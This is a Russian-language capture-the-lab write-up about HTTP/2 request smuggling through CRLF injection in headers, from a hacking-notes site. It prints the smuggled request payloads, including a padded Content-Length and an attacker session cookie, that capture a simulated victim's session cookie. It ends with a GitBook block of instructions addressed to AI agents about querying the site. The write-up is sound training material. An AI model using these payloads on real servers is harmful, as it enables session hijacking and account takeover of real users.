> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# Контрабанда HTTP/2-запросов через инъекцию CRLF

### Переправка HTTP/2-запросов через инъекцию CRLF

Эта лабораторная уязвима к переправке запросов, потому что фронтальный сервер преобразует запросы HTTP/2 в HTTP/1 и не очищает должным образом некоторые входящие заголовки.

Цель — использовать специфичный для HTTP/2 вектор переправки, чтобы получить доступ к учетной записи другого пользователя. Жертва посещает домашнюю страницу каждые 15 секунд.

<figure><img src="/files/e05c59420983139bd81a9b074c857c3ff82f0c0b" alt=""><figcaption></figcaption></figure>

Обнаружено, что приложение ведет историю поиска, которая напрямую связана с cookie сеанса.

<figure><img src="/files/36d415a3171180ec5987d5ab784bff9563d576b2" alt=""><figcaption></figcaption></figure>

Мы начинаем с отправки тестового запроса, но никакого аномального поведения не наблюдается

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

Проверка показывает, что валидация заголовков, связанных с **Transfer-Encoding** недостаточна. / Поэтому мы пытаемся обойти фильтрацию: удаление исходного `chunked` и добавление нового произвольного заголовка в HTTP/2.

```http
Transfer-Encoding: chunked
```

Burp добавляет:

```http
Имя:
test
Значение:
test
Transfer-Encoding: chunked
```

<figure><img src="/files/4cebc2a472c5c11f03f35b3831028519c354537e" alt="" width="358"><figcaption></figcaption></figure>

Сервер принимает изменение, подтверждая плохую очистку заголовков.

<figure><img src="/files/ca03f3c62b415ee2e65cfceeae9894eb2c641188" alt=""><figcaption></figcaption></figure>

Идея состоит в том, чтобы подтолкнуть жертву к **выполнению поискового запроса, содержащего наш собственный cookie сеанса**, при этом внедрив чрезмерный **Content-Length** так, чтобы его следующий запрос был склеен с нашим.

Спрятанная полезная нагрузка:

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

Когда сервер обрабатывает следующий запрос — запрос жертвы — его содержимое появляется в нашем ответе, объединяя **его заголовки и, в частности, cookie его сеанса**.

<figure><img src="/files/16665c23688ba9c369de2720677b418a40a3e5c1" alt=""><figcaption></figcaption></figure>

Итак, мы можем **захватить сессию пользователя** и получить доступ к его учетной записи.

<figure><img src="/files/848ce0e8e81619431d9474a2524c39563726658e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
